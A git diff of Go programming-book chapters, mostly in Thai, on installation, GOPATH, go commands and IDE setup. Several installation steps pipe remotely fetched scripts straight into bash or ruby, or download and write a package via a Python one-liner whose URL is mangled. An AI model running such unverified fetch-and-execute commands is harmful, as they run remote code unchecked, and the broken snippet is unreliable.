Mac + +ไปที่ [หน้าดาวน์โหลด](https://golang.org/dl/) แล้วเลือก `go1.4.2.darwin-386.pkg` (เวอร์ชั่นหลังนี้จะไม่มีแบบ 32 bit ให้ดาวน์โหลดแล้ว) หากใช้ระบบ 32 bit หรือเลือก `go1.8.3.darwin-amd64.pkg` หากใช้ระบบ 64 bit ติดตั้งตามขั้นตอนโดยการกดปุ่ม "next" ซึ่ง `~/go/bin` จะถูกเพิ่มเข้าไปในตัวแปร $PATH ของระบบหลังจากการติดตั้งสำเร็จ หลังจากนั้นให้เปิด terminal แล้วพิมพ์คำสั่ง `go` ควรมีข้อความแสดงขึ้นมาเหมือนในภาพ 1.1 + +### Linux + +ไปที่ [หน้าดาวน์โหลด](https://golang.org/dl/) แล้วเลือก `go1.8.3.linux-386.tar.gz` สำหรับระบบแบบ 32 bit หรือเลือก `go1.8.3.linux-amd64.tar.gz` สำหรับระบบแบบ 64 bit แล้วทำการแตก `tar.gz` ลงไปที่ path ที่เราต้องการติดตั้งโดยใช้คำสั่ง `tar zxvf go1.8.3.linux-amd64.tar.gz -C $GO_INSTALL_DIR` โดยแทนค่า `GO_INSTALL_DIR` ด้วย path ที่เราต้องการ เมื่อเสร็จแล้วจึงทำการตั้งค่า $PATH ด้วยคำสั่ง `export PATH=$PATH:$GO_INSTALL_DIR/go/bin` เสร็จแล้วสามารถเปิด terminal และพิมพ์คำสั่ง `go` ควรมีข้อความแสดงขึ้นมาเหมือนในภาพ 1.1 + +### Windows + +ไปที่ [หน้าดาวน์โหลด](https://golang.org/dl/) แล้วเลือก `go1.4.2.windows-386.msi` หากใช้ระบบ 32 bit หรือเลือก `go1.8.3.windows-amd64.msi` หากใช้ระบบ 64 bit ติดตั้งตามขั้นตอนโดยการกดปุ่ม "next" ซึ่ง `c:/go/bin` จะถูกเพิ่มเข้าไปในตัวแปร `path` ของระบบหลังจากการติดตั้งสำเร็จ หลังจากนั้นให้เปิดหน้าต่าง command line แล้วพิมพ์คำสั่ง `go` ควรมีข้อความแสดงขึ้นมาเหมือนในภาพ 1.1 + +## ติดตั้งจากเครื่องมือประเภท third-party + +### GVM + +GVM เป็นเครื่องมือที่ใช้ควบคุมเวอร์ชั่นของ Go หากติดตั้งมากกว่าหนึ่งเวอร์ชั่น ที่พัฒนาโดย third party ซึ่งคล้ายกับ rvm ของภาษา ruby นั่นเอง โดยใช้งานได้ค่อนข้างง่าย และสามารถทำการติดตั้ง gvm โดยพิมพ์คำสั่งใน terminal ดังนี้: + + bash < <(curl -s -S -L https://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer) + +เมื่อเสร็จแล้วจะสามารถติดตั้ง Go โดยใช้คำสั่งดังนี้: + + gvm install go1.8.3 + gvm use go1.8.3 + +หลังจากเสร็จแล้ว ก็พร้อมสำหรับการใช้งานได้ทันที + +### apt-get + +Ubuntu เป็นระบบปฎิบัติการ Linux ที่ได้รับความนิยมอย่างแพร่หลาย โดยจะมาพร้อมกับเครื่องมือในการจัดการ package ที่ชื่อว่า `apt-get` และเราสามารถที่จะติดตั้ง Go โดยใช้คำสั่งดังนี้: + + sudo add-apt-repository ppa:gophers/go + sudo apt-get update + sudo apt-get install golang-go + +### wget +```sh + +wget https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz +sudo tar -xzf go1.8.3.linux-amd64.tar.gz -C /usr/local + +# Go environment +export GOROOT=/usr/local/go +export GOBIN=$GOROOT/bin +export PATH=$PATH:$GOBIN +export GOPATH=$HOME/gopath +``` +เริ่มตั้งแต่ Go 1.8 เป็นต้นมา ค่าตัวแปร environment จะมีค่าเป็นค่า default ถ้าไม่ได้กำหนดเป็นอย่างอื่น โดยค่าจะเป็น `$HOME/go` บนระบบ Unix และเป็นค่า `%USERPROFILE%/go` เมื่อเป็น Windows + +### Homebrew + +Homebrew เป็นเครื่องมือจัดการซอฟท์แวร์ที่ได้รับความนิยมในการใช้จัดการ package บน Mac โดยการติดตั้ง Go จะใช้คำสั่งดังนี้ + +1. วิธีติดตั้ง Homebrew + +```sh + /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" +``` + +2. วิธีติดตั้ง Go + +```sh + brew update && brew upgrade + brew install go +``` +## Links + +- [Directory](preface.md) +- บทก่อนหน้า: [การตั้งค่าสภาพแวดล้อมของ Go](01.0.md) +- บทถัดไป: [$GOPATH และ workspace](01.2.md) diff --git a/th/01.2.md b/th/01.2.md new file mode 100644 index 000000000..cd8c9ffbd --- /dev/null +++ b/th/01.2.md @@ -0,0 +1,157 @@ +# 1.2 $GOPATH และ workspace + +## $GOPATH + +Go มีกรรมวิธีในการจัดการไฟล์ code ที่เป็นเอกลักษณ์ ด้วยการเพิ่มไดเร็คทอรีีที่เรียกว่า `$GOPATH` เพื่อใช้ในการเก็บ code ของ Go ทั้งหมดในเครื่อง ขอให้สังเกตุว่าเป็นคนละตัวกับค่าตัวแปร environment `$GOROOT` ซึ่งเป็นค่าที่บอกว่า Go ถูกติดตั้งไว้ที่ใดในเครื่อง โดยเราต้องกำหนดค่าให้กับ `$GOPATH` ก่อนที่จะสามารถใช้งานภาษาได้ โดยในระบบ *nix ทั้งหลายนั้น จะมีไฟล์ `.profile` อยู่ และเราต้องเพิ่มคำสั่ง export ที่อยู่ด้านล่างนี้เข้าไปในไฟล์ แนวคิดเบื้องหลัง gopath นี้เป็นเรื่องใหม่ ที่จะทำให้เราสามารถเชื่อมไปที่ code ของ Go ได้อย่างรวดเร็วและชัดเจน + +เริ่มตั้งแต่ Go 1.8 เป็นต้นมา ค่าของตัวแปร GOPATH จะถูกกำหนดค่าให้อัตโนมัติหากเราไม่ได้กำหนดให้เป็นอย่างอื่น โดยจะมีค่่าเป็น `$HOME/go` บนระบบ Unix และ `$USERPROFILE%/go` บน Windows + +บนระบบคล้าย Unix ทั้งหลาย ค่าตัวแปรควรจะถูกตั้งค่าดังนี้: + + export GOPATH=${HOME}/mygo + +บน Windows เราจำเป็นต้องสร้างตัวแปร environment GOPATH ขึ้นมา แล้วกำหนดค่าให้เป็น `c:\mygo` ( ***ค่านี้อาจมีค่าแตกต่างออกไปขึ้นอยู่กับว่า workspace อยู่ที่ไหน*** ) + +เป็นไปได้ที่จะมีหลาย path (workspace) ใน `$GOPATH` แต่เราต้องจำให้ได้ว่าต้องใช้ `:` (`;` สำหรับ Windows) คั่นระหว่างกลางแต่ละค่า โดยจุดนี้ `go get` จะบันทึกข้อมูลไปที่ path แรกที่ระบุใน `$GOPATH` แต่ขอแนะนำว่าไม่ควรใช้วิธีนี้ นอกจากนี้แล้วนับว่าเป็นเรื่องแย่ที่เราจะสร้างโฟลเดอร์โดยตั้งชื่อด้วยชื่อของโปรเจ็คแล้ววางไว้ใน `$GOPATH` นี่จะเป็นการทำลายทุกอย่างที่ผู้สร้างตั้งใจที่จะให้เป็นความเปลี่ยนแปลงของภาษา ด้วยเหตุผลว่าหากเราสร้างโฟลเดอร์ไว้ใน `$GOPATH` โดยตรงแล้ว เวลาที่เราจะอ้างถึง package เราจะต้องอ้างถึงโดยใช้ โดยตรง และนี่จะทำให้เกิดปัญหาขึ้นเนื่องจาก `go get` จะไม่สามารถหา package พบ ได้โปรดทำตาม convention มันมีเหตุผลที่มันถูกสร้างขึ้นมา + +ใน `$GOPATH` นั้นต้องประกอบด้วย 3 โฟลเดอร์ดังนี้: + +- `src` สำหรับเก็บไฟล์ source code ที่มีนามสกุล .go, .c, .g, .s +- `pkg` สำหรับเก็บไฟล์ที่ได้จากการคอมไพล์ซึ่งจะมีนามสกุลเป็น .a +- `bin` สำหรับเก็บไฟล์ประเภท executable + +ในหนังสือเล่มนี้ จะใช้ `mygo` เป็น path เดียวที่มีใน `$GOPATH` + +## ไดเร็คทอรีที่ใช้เก็บ package + +ในการสร้าง source file และโฟลเดอร์ของ package เช่น `$GOPATH/src/mymath/sqrt.go` (`mymath` คือชื่อ package) ( ***ผู้เขียนใช้ชื่อ `mymath` เป็นทั้งชื่อ package และเป็นชื่อโฟลเดอร์ที่เก็บ source file ของ package***) +ทุกครั้งที่สร้าง package ใหม่ เราควรสร้างโฟลเดอร์ใหม่ไว้ในไดเร็คทอรี `src` ยกเว้นโฟลเดอร์ main เนื่องจากโฟลเดอร์ `main` จะสร้างหรือไม่ก็ได้ไม่บังคับ โดยปรกติแล้วชื่อของโฟลเดอร์จะตั้งชื่อตามชื่อ package จะจะถูกเรียกใช้ และสามารถสร้างไดเร็คทอรีย่อยกี่ชั้นก็ได้ตามที่ต้องการ ยกตัวอย่างเช่น ถ้าสร้างไดเร็คทอรี่ `$GOPATH/src/github.com/astaxie/beedb` ชื่อ path ของ package ก็จะเป็น `github.com/astaxie/beedb` และชื่อ package เองก็คือชื่อไดเร็คทอรีตัวสุดท้ายของ path ซึ่งในกรณีนี้ก็คือ `beedb` + +รันคำสั่งดังนี้ ( ***ตอนนี้ผู้เขียนกลับมาพูดถึงตัวอย่าง*** ) + + cd $GOPATH/src + mkdir mymath + +สร้างไฟล์ใหม่ชื่อ `sqrt.go` และเนื้อหาของไฟล์ดังนี้ + +```Go +// Source code of $GOPATH/src/mymath/sqrt.go +package mymath + +func Sqrt(x float64) float64 { + z := 0.0 + for i := 0; i < 1000; i++ { + z -= (z*z - x) / (2 * x) + } + return z +} +``` + +ตอนนี้เราได้สร้างไดเร็คทอรีของ package และเขียน code เรียบร้อยแล้ว และขอแนะนำให้ใช้ชื่อ package เป็นชื่อเดียวกับไดเร็คทอรี และ source file ทั้งหมดของ package เก็บไว้ภายใต้ไดเร็คทอรีนี้่่ + +## การคอมไพล์ package + +หลังจากสร้าง package ตามขั้นตอนเสร็จแล้ว เราก็ลองมาสั่งคอมไพล์ package กันดู โดยการคอมไพล์ package สามารถทำได้ 2 วิธีดังนี้: + +1. ไปที่ path ในไดเร็คทอรีของ package แล้วใช้คำสั่ง `go install` +2. หรือใช้คำสั่งเหมือนด้านบน แต่ไม่ต้องใส่ชื่อไฟล์ เช่น `go install mymath` + +หลังจากที่คอมไพล์เสร็จเรียบร้อยแล้ว ให้เข้าไปที่โฟลเดอร์ด้วยคำสั่ง + + cd $GOPATH/pkg/${GOOS}_${GOARCH} + // you can see the file was generated + mymath.a + +จะเห็นว่ามีไฟล์ซึ่งมีนามสกุล `.a` อยู่ ซึ่งก็คือไฟล์่่ binary ของ package นั่นเอง แล้วเราจะเรียกใช้งานมันยังไงหละ? + +แน่นอนว่าเราจำเป็นต้องสร้างแอพพลิเคชั่นใหม่ขึ้นมา เพื่อเรียกใช้งาน package นี้ + +ให้ทำการสร้างแอพพลิเคชั่นใหม่ชื่อ `mathapp` + + cd $GOPATH/src + mkdir mathapp + cd mathapp + vim main.go + +แล้วใส่เนื้อหาดังต่อไปนี้ลงในไฟล์ main.go + +```Go + +//$GOPATH/src/mathapp/main.go source code. +package main + +import ( + "mymath" + "fmt" +) + +func main() { + fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) +} +``` + +ในการคอมไพล์แอพพลิเคชั่น เราต้องเข้าไปอยู่ที่ไดเร็คทอรีของแอพพลิเคชั่นที่ต้องการคอมไพล์ ซึ่งในที่นี้คือ `$GOPATH/src/mathapp` แล้วจึงสั่งคำสั่ง `go install` เมื่อคอมไพล์เสร็จแล้วจะเห็นไฟล์ที่ชื่อว่า `myapp` เกิดขึ้นมาในไดเร็คทอรี `$GOPATH/bin/` โดยเราสามารถสั่งรับแอพพลิเคชั่นโดยใช้คำสั่ง `./mathapp` เมื่อทำงานเสร็จแล้วเราควรจะเห็นข้อความปรากฎที่หน้าจอ terminal ดังนี้ + + Hello world. Sqrt(2) = 1.414213562373095 + +## การติดตั้ง package เพิ่มเติม + +Go มาพร้อมกับเครื่องมือที่ใช้ในการติดตั้ง package เสริม ซึ่งได้แก่คำสั่งที่เรียกว่า `go get` โดยรองรับ opensource comunity เกือบทุกที่ รวมถึง GitHub, Google Code, BitBucket และ Launchpad + + go get github.com/astaxie/beedb + +โดยสามารถใช้ `go get -u …` ในการอัพเดท package และยังสามารถติดตั้ง package ที่เป็น dependency ให้โดยอัตโนมัติด้วย + +ซึ่งเครื่องมือนี้จะใช้ version control ที่แตกต่างกันสำหรับแต่ละ opensource platform ยกตัวอย่างเช่น จะใช้่่ `git` สำหรับ GitHub และใช้ `hg` สำหรับ Google Code ดังนั้นเราจำเป็นที่จะต้องติดตั้งเครื่องมือ version control เหล่านี้ก่อนที่เราจะใช้ `go get` ได้ + +หลังจากที่รันคำสั่งที่กล่าวมาแล้ว โครงสร้างไดเร็คทอรีควรมีหน้าตาดังนี้ + + $GOPATH + src + |-github.com + |-astaxie + |-beedb + pkg + |--${GOOS}_${GOARCH} + |-github.com + |-astaxie + |-beedb.a + +อันที่จริงแล้ว `go get` จะทำการ clone source code ไปเก็บไว้ที่ `$GOPATH/src` ในเครื่อง เสร็จแล้วให้สั่ง `go install` จะทำให้เราสามารถใช้ package ซึ่งมาจากที่อื่น (remote packages) ได้ในแบบเดียวกับที่เราใช้ package ที่อยู่ในเครื่องของเราเอง + +```Go +import "github.com/astaxie/beedb" +``` + +## โครงสร้างไดเร็คทอรี่แบบสมบูรณ์ + +หากเราทำตามคำสั่งที่กล่าวมาแล้วทั้งหมด โครงสร้างไดเร็คทอรีในเครื่องของเราควรจะมีลักษณะดังนี้ + + bin/ + mathapp + pkg/ + ${GOOS}_${GOARCH}, such as darwin_amd64, linux_amd64 + mymath.a + github.com/ + astaxie/ + beedb.a + src/ + mathapp + main.go + mymath/ + sqrt.go + github.com/ + astaxie/ + beedb/ + beedb.go + util.go + +ตอนนี้เราจะเห็นโครงสร้างได้อย่างชัดเจนว่า `bin` จะเป็นที่อยู่ของไฟล์ executable ส่วน `pkg` จะเป็นที่อยู่ของไฟล์ที่ได้จากการคอมไพล์ และ `src` คือส่วนที่เก็บ source file ของ package นั่นเอง + +(รูปแบบของตัวแปร environment บน Windows คือ `%GOPATH%` แต่ว่าอย่างไรก็ตาม หนังสือเล่มนี้จะเป็นสไตล์ของ Unix ดังนี้ผู้ใช้งาน Windows จึงต้องแก้ให้ถูกต้องด้วยตัวเอง) + +## Links + +- [Directory](preface.md) +- บทก่อนหน้า: [การติดตั้ง](01.1.md) +- บทถัดไป: [คำสั่งของ Go](01.3.md) diff --git a/th/01.3.md b/th/01.3.md new file mode 100644 index 000000000..efb894ba6 --- /dev/null +++ b/th/01.3.md @@ -0,0 +1,107 @@ +# 1.3 คำสั่งต่างๆ ของ Go + +## คำสั่งต่างๆ ของ Go + +ภาษา Go นั้นมาพร้อมกับเครื่องมือใช้งานแบบคำสั่ง (command) ที่ครบสมบูรณ์ เราสามารถสั่งรันคำสั่ง `go` บน terminal เพื่อดูคำสั่งเหล่านั้น: + +![](images/1.3.go.png?raw=true) + +รูป 1.3 คำสั่ง Go จะแสดงข้อมูลรายละเอียด + +คำสั่งทั้งหมดนี้เป็นคำสั่งที่มีประโยชน์ทั้งหมด เรามาดูวิธีการใช้งานกัน + +## go build + +คำสั่งนี้จะเป็นการคอมไพล์ ซึ่งจะคอมไพล์ทั้ง package เองและ package ที่เป็น dependency ด้วย ถ้าหากจำเป็น + +- ถ้า package ไม่ใช่ package `main` ยกตัวอย่างเช่น `mymath` ใน section 1.2 จะไม่มีอะไรถูกสร้างขึ้นมาหลังการรันคำสั่ง `go build` หากเราต้องการได้ไฟล์ package `.a` ใน `$GOPATH/pkg` ให้ใช้คำสั่ง `go install` แทน +- ในการณีที่เป็น `main` package แล้ว จะมีการสร้างไฟล์ executable ไว้ภายใต้โฟลเดอร์เดียวกัน แต่หากเราต้องการให้ถูกสร้างไว้ที่ `$GOPATH/bin` ให้ใช้คำสั่ง `go install` หรือ `go build -o ${PATH_HERE}/a.exe` แทน +- ในการณีที่มีไฟล์อยู่ในโฟลเดอร์หลายไฟล์ แต่เราต้องการที่จะคอมไพล์แค่ไฟล์เดียว สามารถทำได้โดยการเพิ่มชื่อไฟล์ต่อเข้าไปหลัง `go build` ยกตัวอย่างเช่น `go build a.go` ซึ่งหากรันแค่คำสั่ง `go build` จะเป็นการคอมไพล์ทุกไฟล์ในโฟลเดอร์นั้น +- นอกจากนี้เรายังสามารถกำหนดชื่อให้กับไฟล์ที่ถูกสร้างขึ้นมาได้ด้วย อย่างเช่น ในโปรเจ็ค `mathapp` (จาก section 1.2) การใช้คำสั่ง `go build -o astaxie.exe` จะมีไฟล์ `astaxie.exe` ถูกสร้างขึ้นมาแทนที่จะเป็น `mathapp.exe` ซึ่งจะสังเกตได้ว่าชื่อโฟลเดอร์จะถูกใช้โดยปริยายหากไม่ได้กำหนดเป็นค่าอื่น (กรณีไม่ใช่ main package) หรือจะใช้ชื่อตาม source file ไฟล์แรก (กรณี main package) + +(อ้างอิงจาก [The Go Programming Language Specification](https://golang.org/ref/spec) ชื่อ package ควรจะเป็นคำที่อยู่ต่อจาก `package` ในบรรทัดแรกของ source file ซึ่งไม่จำเป็นว่าต้องเป็นชื่อเดียวกับชื่อโฟลเดอร์ แต่ไฟล์ executable ที่ได้จากการคอมไพล์จะใช้ชื่อโฟลเดอร์เป็นค่าโดยปริยาย) + +- `go build` จะไม่สนใจไฟล์ที่ชื่อขึ้นต้นด้วย `_` หรือ `.` +- หากเราต้องการจะใช้ไฟล์ชื่อแตกต่างกันตามระบบปฎิบัติการแล้วหละก็ สามารถตั้งชื่อไฟล์โดยใส่ suffix ได้ ตัวอย่างเช่น source file ที่ทำงานในการโหลดค่า array อาจจะตั้งชื่อได้ดังนี้ + + array_linux.go | array_darwin.go | array_windows.go | array_freebsd.go + +`go build` จะเลือกไฟล์ที่ตรงกับระบบปฎิบัติการที่ใช้ ยกตัวอย่างเช่น ไฟล์ array_linux.go จะถูกคอมไฟล์ในระบบปฎิบัติการ Linux และไฟล์อื่นๆ จะถูกข้ามไป + +## go clean + +คำสั่งนี้ใช้ในการลบไฟล์ที่ถูกสร้างขึ้นมาโดยคอมไพเลอร์ ซึ่งรวมถึงทุกไฟล์ดังต่อไปนี้ + + _obj/ // ไดเร็คทอรี่ object ที่เหลือจากการทำงานของ Makefile + _test/ // ไดเร็คทอรี่ test ที่เหลือจากการทำงานของ Makefile + _testmain.go // ไดเร็คทอรี่ gotest ที่เหลือจากการทำงานของ Makefile + test.out // ไดเร็คทอรี่ test ที่เหลือจากการทำงานของ Makefile + build.out // ไดเร็คทอรี่ test ที่เหลือจากการทำงานของ Makefile + *.[568ao] // ไฟล์ object ที่เหลือจากการทำงานของ Makefile + + DIR(.exe) // สร้างจากคำสั่ง go build + DIR.test(.exe) // สร้างจากคำสั่ง go test -c + MAINFILE(.exe) // สร้างจากคำสั่ง go build MAINFILE.go + +โดยปรกติผมจะใช้คำสั่งนี้เพื่อลบไฟล์ที่ไม่ต้องการก่อนที่จะอัพโหลดโปรเจ็คไปที่ GitHub ซึ่งไฟล์เหล่านี้มีประโยชน์ในการทำงานบนเครื่อง แต่ไม่ได้มีประโยชน์กับ version control + +## go fmt และ gofmt + +สำหรับคนที่เคยใช้งาน C/C++ คงจะคุ้นเคยดีกับหัวข้อถกเถียงในเรื่องที่ว่าสไตล์ของ code แบบไหนที่ดีกว่ากัน ระหว่างสไตล์ K&R กับสไตล์ ANSI แต่อย่างไรก็ตาม สำหรับ Go แล้วจะมีสไตล์การเขียน code แบบเดียวที่ถูกกำหนดมา ยกตัวอย่างเช่น วงเล็บด้านซ้ายจะต้องจะต้องถูกใส่อยู่ท้ายบรรทัดเท่านั้น โดยไม่สามารถอยู่เดี่ยวๆ ในบรรทัดใดๆ ได้ ไม่เช่นนั้นก็จะเกิด error ขึ้นตอนคอมไพล์เลยทีเดียว และเป็นเรื่องโชคดีมากที่เราไม่ต้องมาเสียเวลานั่งจำกฎยิบย่อยเหล่านี้เอง `go fmt` จะทำงานนี้แทนเรา แค่สั่งคำสั่ง `go fmt .go` ใน terminal เท่านั้น ผมไม่ต้องใช้คำสั่งนี้บ่อยนักเพราะ IDE ต่างๆ +มักจะรันคำสั่งนี้โดยอัตโนมัติในตอนที่เราสั่งบันทึกไฟล์ โดยเราจะคุยกันเรื่อง IDE มากกว่านี้ในบทถัดไป + +`go fmt` นั้นความจริงแล้วเป็นเพียง alias เท่านั้น ซึ่งเบื้องหลังจะเป็นการสั่งงานด้วย 'gofmt -l -w' ใน package ที่ใช้ชื่อตาม import path + +ปรกติเราจะใช้ `gofmt -w` มากกว่า `go fmt` โดยคำสั่งหลังนี้จะไม่เขียนทับไฟล์เดิมหลังทำการฟอร์แมต code แล้ว โดยการสั่ง `gofmt -w src` จะเป็นการสั่งฟอร์แมตทั้งโปรเจ็ค + +## go get + +คำสั่งนี้จะเป็นการดึง package มาใช้งานจากเครื่องอื่น โดยตั้งแต่ต้นนั้นจะ support การดึงมาจาก BitBucket, GitHub, Google Code และ Launchpad โดยจะเกิดการทำงานสองอย่างขึ้นจากการสั่งคำสั่งนี้ อย่างแรกคือ Go จะดาวน์โหลด source code มา เสร็จแล้วจะสั่ง `go install` ให้เองเลย แต่ก่อนที่เราจะใช้คำสั่งนี้ กรุณาตรวจสอบให้มั่นใจว่ามีการติดตั้งเครื่องมือที่เกี่ยวข้องไว้ก่อนแล้ว ดังนี้ + + BitBucket (Mercurial Git) + GitHub (git) + Google Code (Git, Mercurial, Subversion) + Launchpad (Bazaar) + +หากต้องการใช้คำสั่งนี้ เราต้องทำการติดตั้งเครื่องมือที่จำเป็นเหล่านี้ก่อน และอย่าลืมอัพเดทค่าตัวแปร `$PATH` ด้วย แต่อย่างไรก็ตาม คำสั่งนี้ก็ยัง support การใช้งานกับ domain name อื่นๆ โดยสามารถดูข้อมูลเพิ่มเติมได้จากคำสั่ง `go help importpath` + +## go install + +คำสั่งนี้จะเป็นการคอมไพล์ package ทุกอัน และทำการ generate ไฟล์ เสร็จแล้วย้ายไฟล์ที่ถูก generate ขึ้นมานี้ไปไว้ที่ `$GOPATH/pkg` หรือ `$GOPATH/bin` + +## go test + +คำสั่งนี้จะเป็นการโหลดไฟล์ทุกอันที่ชื่อไฟล์ลงท้ายด้วย `*_test.go` และ generate ไฟล์ test และเมื่อทำงานเสร็จแล้วจะได้ผลลัพธ์ที่หน้าจอที่ดูเหมือนตัวอย่างนี้ + + ok archive/tar 0.011s + FAIL archive/zip 0.022s + ok compress/gzip 0.033s + ... + +โดยปรกติมันจะทำการสั่งรัน tests นั่นเอง โดยสามารถดูรายละเอียดเพิ่มได้โดยใช้คำสั่ง `go help testflag` + +## godoc + +หลายคนพูดว่าเราไม่ต้องการเอกสารเพิ่มเติมจากแหล่งอื่นๆ ในการใช้งานภาษา Go (จริงๆ แล้วผมได้สร้าง [CHM](https://github.com/astaxie/godoc) ไว้แล้ว) เพราะ Go นั้นมาพร้อมกับเอกสารและเครื่องมือที่ทรงพลังอยู่แล้ว + +แล้วการเรียกดูข้อมูลของ package ในเอกสารนั้น ต้องทำอย่างไรหละ? อย่างเช่น หากเราต้องการหาข้อมูลของ package ประเภท `builtin` ต่างๆ เราสามารถใช้คำสั่ง `godoc builtin` และก็เหมือนกันกับคำสั่ง `godoc net/http` จะเป็นการเรียกดูเอกสารของ package `http` นั่นเอง หากเราต้องการดูรายละเอียดที่เจาะจงลงไปที่ระดับ function สามารถใช้คำสั่ง `go fmt Printf` และใช้คำสั่ง `godoc -src fmt` หากต้องการดู source code + +สั่งคำสั่ง `godoc -http=:8080` แล้วเปิดเบราเซอร์ไปที่ `127.0.0.1:8080` เราจะสามารถดูเอกสารของ golang.org บนจากบนเครื่องของเราเองได้ แต่มีข้อมูลเฉพาะ package มาตรฐานเท่านั้น แต่ก็จะมีของ package อื่นที่อยู่ใน `$GOPATH/pkg` ด้วย ซึ่งเป็นสิ่งที่เยี่ยมมากสำหรับคนที่เจ็บปวดกับ Great Firewall ของจีน + +## คำสั่งอื่นๆ + +นอกจากคำสั่งต่างๆ ที่กล่าวมาแล้ว Go ยังมีคำสั่งอื่นๆ อีก ดังนี้ + + go fix // อัพเกรด code จากเวอร์ชั่นเก่าก่อน go1 ไปเป็นเวอร์ชั่นใหม่ซึ่งใหม่กว่า go1 + go version // เรียกดูข้อมูลเวอร์ชั่นของ Go + go env // เรียกดูข้อมูลตัวแปร environment ที่เกี่ยวข้องกับ Go + go list // เรียกดูรายชื่อ package ที่ทำการติดตั้งไปแล้ว + go run // รัน application โดยการคอมไพล์เป็นไฟล์ชั่วคราวก่อน + +โดยคำสั่งที่ได้กล่าวมานี้ ยังมีรายละเอียดการใช้งานเพิ่มเติมอื่นๆ อีกมากมาย โดยเราจะสามารถเรียกดูได้โดยใช้คำสั่ง `go help ` + +## Links + +- [Directory](preface.md) +- บทก่อนหน้า: [$GOPATH และ workspace](01.2.md) +- บทถัดไป: [เครื่องมือในการพัฒนาของ Go](01.4.md) diff --git a/th/01.4.md b/th/01.4.md new file mode 100644 index 000000000..e81382624 --- /dev/null +++ b/th/01.4.md @@ -0,0 +1,481 @@ +# Go development tools + +In this section, I'm going to show you a few IDEs that can help you become a more efficient programmer, with capabilities such as intelligent code completion and auto-formatting. They are all cross-platform, so the steps I will be showing you should not be very different, even if you are not using the same operating system. + +## LiteIDE + +LiteIDE is an open source, lightweight IDE for developing Go projects only, developed by visualfc. + +![](images/1.4.liteide.png?raw=true) + +Figure 1.4 Main panel of LiteIDE + +LiteIDE features. + +- Cross-platform + - Windows + - Linux + - Mac OS +- Cross-compile + - Manage multiple compile environments + - Supports cross-compilation of Go +- Project management standard + - Documentation view based on $GOPATH + - Compilation system based on $GOPATH + - API documentation index based on $GOPATH +- Go source code editor + - Code outlining + - Full support of gocode + - Go documentation view and API index + - View code expression using `F1` + - Function declaration jump using `F2` + - Gdb support + - Auto-format with `gofmt` +- Others + - Multi-language + - Plugin system + - Text editor themes + - Syntax support based on Kate + - intelligent completion based on full-text + - Customized shortcuts + - Markdown support + - Real-time preview + - Customized CSS + - Export HTML and PDF + - Convert and merge to HTML and PDF + +### LiteIDE installation + +- Install LiteIDE + - [Download page](https://sourceforge.net/projects/liteide/files/) + - [Source code](https://github.com/visualfc/liteide) + + You need to install Go first, then download the version appropriate for your operating system. Decompress the package to directly use it. +- Install gocode + + You have to install gocode in order to use intelligent completion + + go get -u github.com/nsf/gocode + +- Compilation environment + + Switch configuration in LiteIDE to suit your operating system. + In Windows and using the 64-bit version of Go, you should choose win64 as the configuration environment in the tool bar. Then, choose `Options`, find `LiteEnv` in the left list and open file `win64.env` in the right list. + + GOROOT=c:\go + GOBIN= + GOARCH=amd64 + GOOS=windows + CGO_ENABLED=1 + + PATH=%GOBIN%;%GOROOT%\bin;%PATH% + 。。。 + + Replace `GOROOT=c:\go` to your Go installation path, save it. If you have MinGW64, add `c:\MinGW64\bin` to your path environment variable for `cgo` support. + + In Linux and using the 64-bit version of Go, you should choose linux64 as the configuration environment in the tool bar. Then, choose `Options`, find `LiteEnv` in the left list and open the `linux64.env` file in the right list. + + GOROOT=$HOME/go + GOBIN= + GOARCH=amd64 + GOOS=linux + CGO_ENABLED=1 + + PATH=$GOBIN:$GOROOT/bin:$PATH + 。。。 + + Replace `GOROOT=$HOME/go` to your Go installation path, save it. +- $GOPATH + $GOPATH is the path that contains a list of projects. Open the command tool (or press ``Ctrl+` ``in LiteIDE), then type `go help gopath` for more details. + It's very easy to view and change $GOPATH in LiteIDE. Follow `View - Setup GOPATH` to view and change these values. + +## Sublime Text + +Here I'm going to introduce you the Sublime Text 3 (Sublime for short) + GoSublime + gocode. Let me explain why. + +- Intelligent completion + + ![](images/1.4.sublime1.png?raw=true) + + Figure 1.5 Sublime intelligent completion +- Auto-format source files +- Project management + + ![](images/1.4.sublime2.png?raw=true) + + Figure 1.6 Sublime project management + +- Syntax highlight +- Free trial forever with no functional limitations. You may be prompted once in a while to remind you to purchase a license, but you can simply ignore it if you wish. Of course, if you do find that it enhances your productivity and you really enjoy using it, please purchase a copy of it and support its continued development! + +First, download the version of [Sublime](http://www.sublimetext.com/) suitable for your operating system. + +1. Press ``Ctrl+` ``, open the command tool and input the following commands. + + Applicable to Sublime Text 3: + +```Go +import urllib.request,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();urllib.request.install_opener(urllib.request.build_opener(urllib.request.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib.request.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read()) +``` + Applicable to Sublime Text 2: + +```Go +import urllib2,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();os.makedirs(ipp)ifnotos.path.exists(ipp)elseNone;urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read());print('Please restart Sublime Text to finish installation') +``` + + Restart Sublime Text when the installation has finished. You should then find a `Package Control` option in the "Preferences" menu. + + ![](images/1.4.sublime3.png?raw=true) + + Figure 1.7 Sublime Package Control +2. To install GoSublime, SidebarEnhancements and Go Build, press `Ctrl+Shift+p` to open Package Control, then type `pcip` (short for "Package Control: Install Package"). + + ![](images/1.4.sublime4.png?raw=true) + + Figure 1.8 Sublime Install Packages + + Now type in "GoSublime", press OK to install the package, and repeat the same steps for installing SidebarEnhancements and Go Build. Once again, restart the editor when it completes the installation. +3. To verify that the installation is successful, open Sublime, then open the `main.go` file to see if it has the proper syntax highlighting. Type `import` to see if code completion prompts appear. After typing `import "fmt"`, type `fmt.` anywhere after the `import` declaration to see whether or not intelligent code completion for functions was successfully enabled. + + If everything is fine, you're all set. + + If not, check your $PATH again. Open a terminal, type `gocode`. If it does not run, your $PATH was not configured correctly. + +## Vim + +Vim is a popular text editor for programmers, which evolved from its slimmer predecessor, Vi. It has functions for intelligent completion, 